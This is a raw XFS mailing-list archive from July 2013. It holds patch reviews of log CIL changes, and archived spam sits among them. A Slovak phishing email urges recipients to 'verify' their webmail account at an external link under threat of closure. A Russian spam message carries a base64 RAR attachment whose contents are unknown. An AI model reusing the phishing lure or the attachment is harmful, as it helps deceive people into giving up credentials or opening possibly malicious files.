xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4A7CB7F3F for ; Mon, 29 Jul 2013 16:07:28 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 293DB8F8033; Mon, 29 Jul 2013 14:07:24 -0700 (PDT) Message-ID: <51F6D98C.4090300@sgi.com> Date: Mon, 29 Jul 2013 16:07:24 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 46/49] xfs: Combine CIL insert and prepare passes References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-47-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-47-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > Now that all the log item preparation and formatting is done under > the CIL lock, we can get rid of the intermediate log vector chain > used to track items to be inserted into the CIL. > > We can already find all the items to be committed from the > transaction handle, so as long as we attach the log vectors to the > item before we insert the items into the CIL, we don't need to > create a log vector chain to pass around. > > This means we can move all the item insertion code into and optimise > it into a pair of simple passes across all the items in the > transaction. The first pass does the formatting and accounting, the > second inserts them all into the CIL. > > We keep this two pass split so that we can separate the CIL > insertion - which must be done under the CIL spinlock - from the > formatting. We could insert each item into the CIL with a single > pass, but that massively increases the number of times we have to > grab the CIL spinlock. It is much more efficient (and hence > scalable) to do a batch operation and insert all objects in a single > lock grab. > > Signed-off-by: Dave Chinner > --- Removed the old log commit vector chain interface. Looks good. Still like the additional assert for cil space stealing. Reviewed-by: Mark Tinguely From info@webmail.sk Mon Jul 29 16:08:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 84EC87F51 for ; Mon, 29 Jul 2013 16:08:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 753008F8033 for ; Mon, 29 Jul 2013 14:08:12 -0700 (PDT) X-ASG-Debug-ID: 1375132088-04cb6c2e9d1f0700001-w1Z2WR Received: from mail.9zstn.sk (mail.9zstn.sk [193.87.64.201]) by cuda.sgi.com with ESMTP id hoSIniFuIR7HiOIU (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 14:08:10 -0700 (PDT) X-Barracuda-Envelope-From: info@webmail.sk X-Barracuda-Apparent-Source-IP: 193.87.64.201 Received: (qmail 25033 invoked by uid 1010); 29 Jul 2013 23:01:57 +0200 Received: from 127.0.0.1 by 9zstn (envelope-from , uid 1007) with qmail-scanner-1.25-st-qms (clamdscan: 0.94/8257. spamassassin: 3.2.5. perlscan: 1.25-st-qms. Clear:RC:1(127.0.0.1):. Processed in 0.176055 secs); 29 Jul 2013 21:01:57 -0000 X-Antivirus-mail-Mail-From: info@webmail.sk via 9zstn X-Antivirus-mail: 1.25-st-qms (Clear:RC:1(127.0.0.1):. Processed in 0.176055 secs Process 25022) Received: from localhost (HELO mail.9zstn.sk) (tlukova@9zstn.sk@127.0.0.1) by mail.9zstn.sk with SMTP; 29 Jul 2013 23:01:56 +0200 Received: from 41.138.171.79 (SquirrelMail authenticated user tlukova@9zstn.sk) by mail.9zstn.sk with HTTP; Mon, 29 Jul 2013 23:01:56 +0200 (CEST) Message-ID: Date: Mon, 29 Jul 2013 23:01:56 +0200 (CEST) Subject: =?iso-8859-2?Q?V=E1=BEen=ED_E-mail_u=BE=EDvate=B5a;?= From: "webmail update" X-ASG-Orig-Subj: =?iso-8859-2?Q?V=E1=BEen=ED_E-mail_u=BE=EDvate=B5a;?= User-Agent: SquirrelMail/1.4.15 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-2 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Barracuda-Connect: mail.9zstn.sk[193.87.64.201] X-Barracuda-Start-Time: 1375132089 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.71 X-Barracuda-Spam-Status: No, SCORE=1.71 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137416 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; -- Ven E-mail uvatea; Prekroili ste 23432 boxy nastavi svoje Webov sluba / Administrtor, a budete ma problmy pri odosielan a prijma e-maily, km znova overi. Muste aktualizova kliknutm na odkaz niie a vyplte daje pre overenie vho tu Prosm, kliknite na odkaz niie alebo skoprova vloi do e-prehliada pre overenie Schrnky. http://webmailupdate1234231.jimdo.com/ Pozor! Ak tak neurobte, bud ma obmedzen prstup k e-mailu schrnky. Ak sa nepodar aktualizova svoj ​​et do troch dn od aktualizcie oznmenia, bude v et natrvalo uzavret. S pozdravom, System Administrator ® From tinguely@sgi.com Mon Jul 29 17:24:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 42FAF7F3F for ; Mon, 29 Jul 2013 17:24:18 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 15F02304071; Mon, 29 Jul 2013 15:24:15 -0700 (PDT) Message-ID: <51F6EB8E.4060706@sgi.com> Date: Mon, 29 Jul 2013 17:24:14 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 47/49] xfs: split the CIL lock References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-48-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-48-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > The xc_cil_lock is used for two purposes - to protect the CIL > itself, and to protect the push/commit state and lists. These are > two logically separate structures and operations, so can have their > own locks. This means that pushing on the CIL and the commit wait > ordering won't contend for a lock with other transactions that are > completing concurrently. As the CIL insertion is the hottest path > throught eh CIL, this is a big win. > > Signed-off-by: Dave Chinner > --- read semaphore/xc_cil_lock (original lock) protects cil entries write semaphore/xc_push_lock (new lock) protects the cil push Looks good. Review-by: Mark Tinguely From fazilin@peak.com Mon Jul 29 19:22:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DA1B47CBF for ; Mon, 29 Jul 2013 19:22:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C9C808F8033 for ; Mon, 29 Jul 2013 17:22:35 -0700 (PDT) X-ASG-Debug-ID: 1375143752-04cbb02c3e1fa2d0001-NocioJ Received: from mail.internetmarketing.ru (mail.internetmarketing.ru [95.163.124.138]) by cuda.sgi.com with ESMTP id ATyM9gltRGfeV0CN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 17:22:33 -0700 (PDT) X-Barracuda-Envelope-From: fazilin@peak.com X-Barracuda-Apparent-Source-IP: 95.163.124.138 Received: from Unknown (unknown [218.241.238.141]) by mail.internetmarketing.ru (Postfix) with ESMTPA id E2FF3141159; Tue, 30 Jul 2013 04:20:47 +0400 (MSK) Message-ID: <986ACDC855C64792857ECAE9EA21D673@dybd> Reply-To: =?windows-1251?B?7vTu8Ozr5e3o5SDn5ezr6A==?= From: =?windows-1251?B?7vTu8Ozr5e3o5SDn5ezr6A==?= To: , , , Subject: =?windows-1251?B?6uDk4PHy8O7i++kg7+vg7Q==?= Date: Tue, 30 Jul 2013 02:21:03 +0200 X-ASG-Orig-Subj: =?windows-1251?B?6uDk4PHy8O7i++kg7+vg7Q==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0E25_01CE8CCB.70936280" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: mail.internetmarketing.ru[95.163.124.138] X-Barracuda-Start-Time: 1375143753 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137422 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_0E25_01CE8CCB.70936280 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0E26_01CE8CCB.70936280" ------=_NextPart_001_0E26_01CE8CCB.70936280 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CE=E1=FA=E5=EA=F2=FB =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8: =F0=E5=E3=E8=F1= =F2=F0=E0=F6=E8=FF, =EE=F4=EE=F0=EC=EB=E5=ED=E8=E5 =EF=F0=E0=E2, =EA=E0=E4= =E0=F1=F2=F0 =CF=EE=E4=F2=E2=E5=F0=E6=E4=E5=ED=ED=EE=E5 =EF=F0=E0=E2=EE =ED=E0 =EE=E1=FA= =E5=EA=F2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =E2=EE=E7=ED=E8=EA=E0=E5=F2= =F1 =EC=EE=EC=E5=ED=F2=E0 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E9 = =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=E8. =CA=E0=EA=E8=EC =EE=E1=F0=E0=E7=EE=EC = =EE=F1=F3=F9=E5=F1=F2=E2=E8=F2=FC =ED=E5=EE=E1=F5=EE=E4=E8=EC=FB=E5 =E4=E5= =E9=F1=F2=E2=E8=FF =EF=EE =EA=E0=E4=E0=F1=F2=F0=EE=E2=EE=EC=F3 =F3=F7=E5=F2= =F3, =EF=E0=F1=EF=EE=F0=F2=E8=F0=EE=E2=E0=ED=E8=FE =E8 =F0=E5=E3=E8=F1=F2= =F0=E0=F6=E8=E8 =EF=F0=E0=E2? =CA=E0=EA=E8=E5 =E2=E5=E4=EE=EC=F1=F2=E2=E0= =E8 =F1=EB=F3=E6=E1=FB =EE=F2=E2=E5=F7=E0=FE=F2 =E7=E0 =F0=E5=E3=E8=F1=F2= =F0=E0=F6=E8=FE =ED=E5=E4=E2=E8=E6=E8=EC=EE=E3=EE =E8=EC=F3=F9=E5=F1=F2=E2= =E0? =CA=E0=EA =EF=F0=EE=E2=E5=F1=F2=E8 =F1=E4=E5=EB=EA=F3 =F1 =E8=EC=F3=F9= =E5=F1=F2=E2=E5=ED=ED=FB=EC =EA=EE=EC=EF=EB=E5=EA=F1=EE=EC? =CF=EE=F1=EB=E5=E4=ED=E8=E5 =E0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF=F0=E0=E2=EE= =E2=FB=E5 =E2=EE=EF=F0=EE=F1=FB =E8 =E8=E7=EC=E5=ED=E5=ED=E8=FF =E2 =EA=EE= =ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=EE=EC =F1=E5=EC=E8=ED=E0=F0=E5 =E2 =D1= =CF=C1: =EA=E0=E4=E0=F1=F2=F0 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6=E8=EC=EE= =F1=F2=E8: =EF=F0=E8=ED=F6=E8=EF=FB =E2=E5=E4=E5=ED=E8=FF =E8 =EF=F0=E5=E4= =EE=F1=F2=E0=E2=EB=E5=ED=E8=E5 =F1=E2=E5=E4=E5=ED=E8=E9; =EC=E5=E6=E5=E2= =E0=ED=E8=E5, =EA=E0=E4=E0=F1=F2=F0=EE=E2=FB=E5 =EF=E0=F1=EF=EE=F0=F2=E0;= =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2=E8=E5 =F1=EB=F3=E6=E1 =D0=EE=F1=F0=E5= =E5=F1=F2=F0=E0, =C1=D2=C8=A0 =E8 =EF=F0. =EF=EE=F1=EB=E5=E4=ED=E8=E5 =E7= =E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=FB=E5 =E0=EA=F2=FB =E2 =F1=F4=E5=F0=E5= =E7=E5=EC=EB=E5=F3=F1=F2=F0=EE=E9=F1=F2=E2=E0, =C3=CA=CD, =F0=E5=E3=E8=F1= =F2=F0=E0=F6=E8=E8 =F1=E4=E5=EB=EE=EA =F1 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2= =FC=FE; =EE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =EF=F0=E5=E4=EE=F1=F2=E0=E2=EB=E5= =ED=E8=FF =F3=F7=E0=F1=F2=EA=EE=E2 =EF=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2= =E2=EE; =E2=EE=E7=ED=E8=EA=ED=EE=E2=E5=ED=E8=E5 =EF=F0=E0=E2 =ED=E0 =EE=E1= =FA=E5=EA=F2 =EF=F0=E8 =E2=E2=EE=E4=E5 =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1= =EF=EB=F3=E0=F2=E0=F6=E8=FE; =EB=E8=ED=E5=E9=ED=FB=E5 =EE=E1=FA=E5=EA=F2=FB= =E8 =E8=ED=E6=E5=ED=E5=F0=ED=FB=E5 =F1=E5=F2=E8; =F1=E4=E5=EB=EA=E8 =F1 = =E7=E5=EC=EB=E5=E9; =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF =EA =FD=EA=F1=EF=EB=F3= =E0=F2=E0=F6=E8=FE =E7=E4=E0=ED=E8=E9 =E8 =F1=EE=EE=F0=F3=E6=E5=ED=E8=E9,= =E2 =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =F1 N 337-=D4=C7 =EE=F2 28.11.2= 011 =20 __________ =CA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=EE=E5 =EC=E5=F0=EE=EF=F0=E8=FF= =F2=E8=E5 I9 =96 2O =E0=E2=E3=F3=F1=F2=E0 2=EE1=C7 =E3., =CF=E5=F2=E5=F0=E1=F3=F0=E3 =D3=F7=E0=F1=F2=E8=E5 =ED=E0 =EE=F1=ED=EE=E2=E5 =D0=C5=C3=C8=D1=D2=D0=C0=D6= =C8=C8 : +7 { =EA=EE=E4_=D1=CF=E1 } 98*=D7 ^ 53 .. 6*=C7 ------=_NextPart_001_0E26_01CE8CCB.70936280 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable Untitled Document

    =CE=E1=FA=E5=EA=F2=FB =ED=E5=E4=E2=E8=E6=E8=EC= =EE=F1=F2=E8: =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FF, =EE=F4=EE=F0=EC=EB=E5=ED= =E8=E5 =EF=F0=E0=E2, =EA=E0=E4=E0=F1=F2=F0


    =CF=EE=E4=F2=E2=E5=F0=E6=E4=E5=ED=ED=EE=E5 =EF=F0=E0= =E2=EE =ED=E0 =EE=E1=FA=E5=EA=F2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =E2= =EE=E7=ED=E8=EA=E0=E5=F2 =F1 =EC=EE=EC=E5=ED=F2=E0 =E3=EE=F1=F3=E4=E0=F0= =F1=F2=E2=E5=ED=ED=EE=E9 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=E8. =CA=E0=EA=E8=EC= =EE=E1=F0=E0=E7=EE=EC =EE=F1=F3=F9=E5=F1=F2=E2=E8=F2=FC =ED=E5=EE=E1=F5=EE= =E4=E8=EC=FB=E5 =E4=E5=E9=F1=F2=E2=E8=FF =EF=EE =EA=E0=E4=E0=F1=F2=F0=EE= =E2=EE=EC=F3 =F3=F7=E5=F2=F3, =EF=E0=F1=EF=EE=F0=F2=E8=F0=EE=E2=E0=ED=E8=FE= =E8 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=E8 =EF=F0=E0=E2? =CA=E0=EA=E8=E5 =E2= =E5=E4=EE=EC=F1=F2=E2=E0 =E8 =F1=EB=F3=E6=E1=FB =EE=F2=E2=E5=F7=E0=FE=F2 = =E7=E0 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FE =ED=E5=E4=E2=E8=E6=E8=EC=EE=E3=EE= =E8=EC=F3=F9=E5=F1=F2=E2=E0? =CA=E0=EA =EF=F0=EE=E2=E5=F1=F2=E8 =F1=E4=E5= =EB=EA=F3 =F1 =E8=EC=F3=F9=E5=F1=F2=E2=E5=ED=ED=FB=EC =EA=EE=EC=EF=EB=E5=EA= =F1=EE=EC?

    =CF=EE=F1=EB=E5=E4=ED=E8=E5 =E0=EA=F2=F3=E0=EB=FC= =ED=FB=E5 =EF=F0=E0=E2=EE=E2=FB=E5 =E2=EE=EF=F0=EE=F1=FB =E8 =E8=E7=EC=E5= =ED=E5=ED=E8=FF =E2 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=EE=EC =F1=E5= =EC=E8=ED=E0=F0=E5 =E2 =D1=CF=C1:

    • =EA=E0=E4=E0=F1=F2=F0 =EE=E1=FA= =E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8: =EF=F0=E8=ED=F6=E8=EF= =FB =E2=E5=E4=E5=ED=E8=FF =E8 =EF=F0=E5=E4=EE=F1=F2=E0=E2=EB=E5=ED=E8=E5= =F1=E2=E5=E4=E5=ED=E8=E9;
    • =EC=E5=E6=E5=E2=E0=ED=E8=E5,= =EA=E0=E4=E0=F1=F2=F0=EE=E2=FB=E5 =EF=E0=F1=EF=EE=F0=F2=E0; =E2=E7=E0=E8= =EC=EE=E4=E5=E9=F1=F2=E2=E8=E5 =F1=EB=F3=E6=E1 =D0=EE=F1=F0=E5=E5=F1=F2=F0= =E0, =C1=D2=C8=A0 =E8 =EF=F0.
    • =EF=EE=F1=EB=E5=E4=ED=E8=E5 = =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=FB=E5 =E0=EA=F2=FB =E2 =F1=F4=E5=F0= =E5 =E7=E5=EC=EB=E5=F3=F1=F2=F0=EE=E9=F1=F2=E2=E0, =C3=CA=CD, =F0=E5=E3=E8= =F1=F2=F0=E0=F6=E8=E8 =F1=E4=E5=EB=EE=EA =F1 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1= =F2=FC=FE;
    • =EE=F1=EE=E1=E5=ED=ED=EE=F1=F2= =E8 =EF=F0=E5=E4=EE=F1=F2=E0=E2=EB=E5=ED=E8=FF =F3=F7=E0=F1=F2=EA=EE=E2 =EF= =EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE; =E2=EE=E7=ED=E8=EA=ED=EE=E2= =E5=ED=E8=E5 =EF=F0=E0=E2 =ED=E0 =EE=E1=FA=E5=EA=F2 =EF=F0=E8 =E2=E2=EE=E4= =E5 =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE; =EB=E8= =ED=E5=E9=ED=FB=E5 =EE=E1=FA=E5=EA=F2=FB =E8 =E8=ED=E6=E5=ED=E5=F0=ED=FB= =E5 =F1=E5=F2=E8;
    • =F1=E4=E5=EB=EA=E8 =F1 =E7=E5= =EC=EB=E5=E9;
    • =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF= =EA =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =E7=E4=E0=ED=E8=E9 =E8 =F1=EE=EE= =F0=F3=E6=E5=ED=E8=E9, =E2 =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =F1 N 33= 7-=D4=C7 =EE=F2 28.11.2011

    __________

    =CA=EE=ED=F1=F3=EB=FC=F2=E0=F6= =E8=EE=ED=ED=EE=E5 =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E5

    I9 =96 2O =E0=E2=E3=F3=F1=F2=E0= 2=EE1=C7 =E3., =CF=E5=F2=E5=F0=E1=F3=F0=E3

    =D3=F7=E0=F1=F2=E8=E5 =ED=E0= =EE=F1=ED=EE=E2=E5 =D0=C5=C3=C8=D1=D2=D0=C0=D6=C8=C8=20 :

    +7 { =EA=EE=E4_=D1=CF=E1 = } 98*=D7 ^ 53 .. 6*=C7

    ------=_NextPart_001_0E26_01CE8CCB.70936280-- ------=_NextPart_000_0E25_01CE8CCB.70936280 Content-Type: application/octet-stream; name="=?windows-1251?B?7/Du4/Dg7OzgIDE5LTIwLjA4LjEzLnJhcg==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?7/Du4/Dg7OzgIDE5LTIwLjA4LjEzLnJhcg==?=" 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 